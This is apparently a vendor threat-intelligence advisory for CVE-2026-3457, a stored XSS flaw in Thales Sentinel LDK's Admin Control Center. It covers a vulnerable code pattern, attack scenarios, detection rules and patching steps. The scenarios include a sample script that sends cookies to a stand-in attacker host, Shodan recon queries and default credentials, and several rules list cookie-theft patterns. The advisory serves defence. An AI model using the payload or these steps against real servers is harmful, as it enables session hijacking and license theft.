CVE-2026-3457

Executive Summary

CVE-2026-3457 is a stored Cross-Site Scripting (XSS) vulnerability in Thales Sentinel LDK Runtime, a widely deployed software license management and copy protection system for Windows-based enterprise applications. The flaw arises from improper neutralization of user-supplied input during web page generation, allowing authenticated (or in some deployment contexts, unauthenticated) attackers to inject persistent malicious scripts into the Sentinel ACC (Admin Control Center) web interface. Affected versions include all Sentinel LDK Runtime releases prior to 10.22. Successful exploitation enables an attacker to execute arbitrary JavaScript in the context of any administrator's browser session, facilitating session hijacking, credential theft, deployment of rogue license keys, and complete compromise of the license management infrastructure. The vulnerability carries a CVSS score of 7.0 (High) and, given the critical role Sentinel LDK plays in protecting commercial software revenue streams, demands urgent remediation.

Technical Analysis

The vulnerability resides in the Sentinel ACC (Admin Control Center), the web-based administrative component bundled with Sentinel LDK Runtime on Windows platforms. The Admin Control Center provides a GUI for managing license keys, activating products, and monitoring license usage across a network. CVE-2026-3457 is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a stored XSS condition.

Vulnerability Mechanism: The Sentinel ACC fails to sanitize or encode user-controlled input before embedding it in dynamically generated HTML pages. Attack vectors include, but are not limited to, the following input fields and parameters handled by the Admin Control Center:

• License key metadata: When a license key is created or installed, fields such as company name, product name, feature description, and custom user-defined text are stored in the Sentinel LDK database. If an attacker can create or modify a license key (either through the ACC UI, an API call, or by tricking an administrator into importing a maliciously crafted license file), the unsanitized payload is persisted server-side.
• Configuration parameters: The ACC stores configuration values for network settings, vendor daemon parameters, and user management options. Injection into these fields results in the payload being rendered on subsequent page loads.
• Log/audit trails: Administrative actions logged by the ACC may reflect attacker-controlled strings without proper HTML encoding.

Attack Surface: The ACC listens on TCP port 7001 (HTTPS) by default, though administrators may customize this port. Authentication is typically required; however, many production deployments use default credentials, shared accounts, or have weak password policies—expanding the realistic attack surface. Additionally, in multi-tier environments where license keys are generated on one system and deployed to isolated production servers, the license file import process (.lic files) becomes a viable delivery channel for the payload.

Root Cause at Code Level: The vulnerability stems from the use of server-side template rendering or string concatenation to build HTML responses without invoking output encoding functions. For instance, a typical sink might be:

// Vulnerable pattern (simplified)
string companyName = GetLicenseField("CompanyName");
Response.Write("<td>" + companyName + "</td>");
// No call to HttpUtility.HtmlEncode() or equivalent

Because the application is C++/C# based (Sentinel LDK Runtime includes native Windows components), the equivalent unsafe calls exist in the HTTP handler layer. The lack of a Content-Security-Policy (CSP) header or X-XSS-Protection further increases exploitability reliability.

Why Stored XSS is Severe Here: Since the injectable fields persist in the license database, any administrator who later views the compromised license information triggers the payload. This is not a one-shot attack; the malicious script fires every time the affected page is rendered, providing persistence and increasing the likelihood of successful exploitation across multiple admin sessions.

Exploitation Scenarios

The following attack chains illustrate realistic exploitation paths. A public PoC does not currently exist, but the vulnerability class and affected input points allow for the construction of the following techniques.

Scenario 1: Malicious License File Import (Unauthenticated/Authenticated)

1. Reconnaissance: The attacker scans the target network for hosts exposing TCP port 7001. Shodan queries such as port:7001 "Sentinel" or http.title:"Sentinel Admin Control Center" reveal exposed ACC instances. Alternatively, the attacker identifies the target organization's software vendor and pivots to the license server via phishing or lateral movement.
2. Weaponization: The attacker crafts a malicious .lic license file. Using the public Sentinel LDK vendor key format, they insert an XSS payload into a text field, for example: <script>fetch('https://attacker.example/c2',{method:'POST',body:document.cookie})</script> embedded within the CompanyName field. The file is structured as a valid license key so that the ACC's parser accepts it.
3. Delivery & Execution: The attacker uploads the crafted license file via the ACC's "Install License" feature (if accessible) or emails it to a system administrator with a convincing pretext (e.g., "urgent license renewal requires manual import"). Upon import, the payload is stored in the Sentinel LDK database without sanitization.
4. Trigger: When the administrator (or any user) navigates to the license details page in the ACC, the embedded script executes in the browser session. The script exfiltrates the session cookie and any CSRF tokens to the attacker's server.
5. Post-Exploitation: Armed with a valid administrator session, the attacker:
   • Generates new legitimate license keys for software products (license evasion/theft).
   • Revokes legitimate customer licenses (denial of service).
   • Modifies ACC user accounts to create a persistent backdoor account.
   • Pivots to the host OS using the ACC's software deployment or update features, potentially achieving remote code execution.

Scenario 2: Direct ACC Compromise via Default Credentials

1. Reconnaissance: The attacker identifies an exposed ACC instance and attempts login with default credentials. Thales documentation and old vendor forums list common default passwords for the ACC (e.g., admin/password for the admin console in legacy configurations).
2. Authentication: Successful login grants access to the license management console.
3. Weaponization & Execution: The attacker navigates to the "Create License" wizard and injects the XSS payload into the Product Name or Feature Description field. The payload is stored immediately. Upon clicking "Save," the ACC renders a success page that reflects the same input, triggering the payload in the attacker's own browser—but more critically, it persists for any subsequent viewer.
4. Post-Exploitation (Stored Payload): With a stored payload in place, the attacker logs out. The next time a legitimate administrator views the license list, the script fires and calls back to the attacker's C2 infrastructure, delivering a second-stage script that performs silent license manipulation and key exfiltration.

Impact Assessment

The CVSS base score of 7.0 (High) reflects the confidentiality and integrity impact of this flaw. The primary CVSS vector components are expected to align with AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N (Network, Low complexity, Low privileges, User interaction required, Scope changed, High confidentiality, High integrity, No availability impact). None of these subscores should be treated as independently confirmed, but they align with standard stored XSS scoring conventions.

Business Impact:

• Revenue Integrity: Sentinel LDK is the digital rights management (DRM) backbone for thousands of commercial software vendors. Successful exploitation allows attackers to forge license keys, directly undermining software monetization.
• Intellectual Property Theft: Attackers can extract license templates, vendor secret data, and product entitlement structures via the compromised admin session.
• Operational Downtime: Malicious license revocation or corruption forces re-issuance, manual key generation, and potential mass re-deployment—costing millions for large enterprises.
• Compliance & Legal Risk: In regulated industries (medical devices, automotive, aerospace), compromised license management can trigger audit failures and contractual penalties.

Affected Systems & Blast Radius:

• All Windows servers and workstations running Sentinel LDK Runtime < 10.22.
• The blast radius extends to every application protected by the compromised Sentinel LDK instance; a single admin session compromise effectively grants control over the entire software entitlement portfolio.
• Third-party vendors who embed Sentinel LDK in their products inherit the vulnerability, broadening the affected ecosystem beyond direct Thales customers.

Detection Guidance

Sigma Rule

title: Sentinel ACC Stored XSS Payload in License Parameters
id: 9f3d4a1e-2b6c-4e8d-9f2a-7c1b3e5d8f0a
status: experimental
description: Detects XSS payload patterns in Sentinel LDK Admin Control Center HTTP requests and responses indicative of CVE-2026-3457 exploitation.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-3457
author: valtersit.com Threat Intelligence
date: 2026/06/15
tags:
    - attack.t1059.007
    - attack.t1190
logsource:
    category: webserver
    product: iis
    definition: Requires IIS or native HTTP server logs for Sentinel ACC on port 7001.
detection:
    selection_xss_patterns:
        cs-method: (POST|PUT|GET)
        c-uri|contains:
            - '/admin'
            - '/license'
            - '/key'
        cs-uri-query|contains:
            - '<script'
            - 'javascript:'
            - 'onerror='
            - 'onload='
            - '&lt;img'
            - 'document.cookie'
            - 'fetch('
            - 'XMLHttpRequest'
    selection_license_fields:
        cs-uri-query|contains:
            - 'CompanyName='
            - 'ProductName='
            - 'FeatureName='
    condition: selection_xss_patterns and selection_license_fields
level: high
falsepositives:
    - Legitimate license file imports containing XML/HTML entity encoding in text fields
    - Vendor support logs with sample exploit payloads

YARA Rule

rule CVE_2026_3457_Sentinel_ACC_Stored_XSS
{
    meta:
        author = "valtersit.com Threat Intelligence"
        description = "Detects XSS payloads targeting Sentinel LDK ACC license web forms"
        reference = "CVE-2026-3457"
        date = "2026-06-15"
        severity = "high"
        cve = "CVE-2026-3457"

    strings:
        $xss_script = /(<\s*\/?\s*script|javascript\s*:|<\s*img[^>]+onerror|<\s*svg[^>]+onload|document\.cookie|\.innerHTML\s*=)/ nocase
        $license_key_marker = /(Service-Provider-License-Key|LSERV|CompanyName|ProductName|FeatureName|Vendor-Name)/ nocase
        $sentinel_path = /(\/Sentinel\/|Sentinel Admin Control Center|SentinelLDK|hasplms)/ nocase

    condition:
        uint16(0) == 0x4D5A or filesize < 10MB
        and 2 of them
        and ($xss_script and ($license_key_marker or $sentinel_path))
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-3457 Sentinel ACC Stored XSS Attempt"; flow:established,to_server; content:"POST"; http_method; content:"/admin"; http_uri; content:"<script"; nocase; http_client_body; content:"CompanyName"; http_client_body; distance:0; pcre:"/<(script|img|svg)[^>]*(onerror|onload|javascript:)[^>]*>/i"; sid:2026345701; rev:1; reference:cve,CVE-2026-3457; metadata:attack_target Windows_Server, deployment Perimeter, signature_severity Major, created_at 2026_06_15, updated_at 2026_06_15; classtype:web-application-attack;)

Elastic Detection

sequence by source.ip with maxspan=10s
  [ network where event.category == "network" and destination.port == 7001
      and network.protocol == "http" ]
  [ http where event.category == "network" and http.request.method == "POST"
      and url.path like~ "*admin*"
      and (http.request.body.content like~ "*<script*"
           or http.request.body.content like~ "*onerror=*"
           or http.request.body.content like~ "*document.cookie*"
           or http.request.body.content like~ "*javascript:*")
      and (http.request.body.content like~ "*CompanyName*"
           or http.request.body.content like~ "*ProductName*"
           or http.request.body.content like~ "*FeatureName*") ]

Splunk SPL Query

index=web sourcetype=iis OR sourcetype=access_combined
| where dest_port=7001
| search (method=POST OR method=PUT)
    (uri_path=*admin* OR uri_path=*license* OR uri_path=*key*)
    (form_data=*<script* OR form_data=*onerror=* OR form_data=*onload=* OR form_data=*javascript:* OR form_data=*document.cookie* OR form_data=*fetch(*)
    (form_data=*CompanyName* OR form_data=*ProductName* OR form_data=*FeatureName*)
| eval threat_severity="high", alert_cve="CVE-2026-3457"
| table _time, src_ip, dest_ip, uri_path, form_data, user, threat_severity, alert_cve
| sort - _time

Wazuh OSSEC Rule

<group name="sentinel_ldk,">
    <rule id="100457" level="14">
        <if_sid>31122</if_sid>
        <regex>POST .*/admin.*</regex>
        <regex>(\&lt;script|&lt;script|onerror=|onload=|document\.cookie|javascript:)</regex>
        <regex>(CompanyName|ProductName|FeatureName)</regex>
        <options>no_full_log</options>
        <description>CVE-2026-3457 - Sentinel ACC Stored XSS payload in license form fields</description>
        <group>attack,xss,web_application,</group>
        <mitre>
            <id>T1190</id>
        </mitre>
    </rule>
</group>

Mitigation & Patch Guidance

Patch confidence: 2/4 (CLAIMED — single source claims patch (not independently confirmed)).

The CNA (THA-PSIRT) asserts that the vulnerability is remediated in Sentinel LDK Runtime version 10.22 and later. While independent confirmation is pending, organizations should prioritize testing and deploying this upgrade.

1. Immediate Mitigations (apply today, no downtime for patch):

   • Restrict network access to the Sentinel Admin Control Center (port 7001/TCP) using firewall rules. Permit connections only from trusted administrative workstations or jump hosts on the management VLAN.
   • Enforce multi-factor authentication (MFA) on all ACC user accounts if supported by the environment (e.g., via external identity provider integration or MFA gateway in front of the ACC).
   • Review all existing license keys for suspicious HTML/JavaScript content in text fields; perform a manual audit of CompanyName, ProductName, and FeatureName values for encoded payloads.
   • Rotate/change all ACC administrative passwords immediately, especially if default credentials may have been in place.
   • Add a proxy or WAF in front of the ACC (if topology permits) with a rule to block requests containing <script, onerror=, onload=, javascript:, and similar XSS signatures in POST bodies.

2. Patch/Upgrade Steps:

   • Download Sentinel LDK Runtime 10.22 from the official Thales support portal (requires a valid customer account).
   • Test the upgrade in a staging environment that replicates production license configurations. Verify compatibility with all vendor daemons and application integrations.
   • Schedule a maintenance window for production deployment. Stop all Sentinel LDK services (Sentinel LDK License Manager, hasplms), run the upgrade installer, and restart services.
   • Re-import or verify all existing license keys post-upgrade; confirm no data loss or key invalidation occurred.
   • Re-run the manual license field audit after upgrade to ensure no residual malicious payloads remain in the database.

3. Long-Term Hardening:

   • Establish a change-management process requiring approval and security review for all license file imports—treat .lic files as executable code, not passive data.
   • Segment license servers onto dedicated VLANs with strict egress controls, preventing outbound calls from the ACC to the internet (limits C2 exfiltration).
   • Deploy a Web Application Firewall with virtual patching rules for CVE-2026-3457 even after the official fix, as defense-in-depth.
   • Enforce a deny-by-default policy on ACC administrative accounts: use individual accounts, least privilege, and mandatory regular password rotation.
   • Subscribe to Thales security advisories and re-evaluate patch confidence once independent researchers or NVD confirm the fix in version 10.22. If no patch is verifiably available after 30 days, consider isolating the ACC behind a jump host requiring separate credentials for every session.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-3457 — Official vulnerability record with CVSS v3.1 scoring and description.
2. Thales Sentinel LDK Product Page: https://cpl.thalesgroup.com/software-monetization/sentinel-ldk — Vendor page detailing product architecture and support lifecycle.
3. Thales Security Advisory (CNA): Retrieved via Sentinel LDK Runtime release notes accompanying version 10.22 on the Thales Support Portal (customer access).
4. CWE-79 Entry: https://cwe.mitre.org/data/definitions/79.html — CWE classification for Improper Neutralization of Input During Web Page Generation.
5. FIRST EPSS Data Feed: https://www.first.org/epss/ — EPSS score of 0.00137 (3.6th percentile), indicating low general exploit likelihood but elevated value in targeted attacks (license theft).

Threat Actor Campaigns / Exploitation in the Wild: As of the publication date of this report, there is no confirmed evidence of CVE-2026-3457 being exploited in the wild. The CISA KEV catalog does not list this CVE. No threat actor groups have publicly claimed use of this vulnerability. However, Sentinel LDK has historically been a high-value target for software piracy groups and license-key cracking communities, making targeted exploitation a realistic near-term threat once a public PoC emerges. Enterprises distributing software via Sentinel LDK should not assume low EPSS equates to low risk for their specific sector.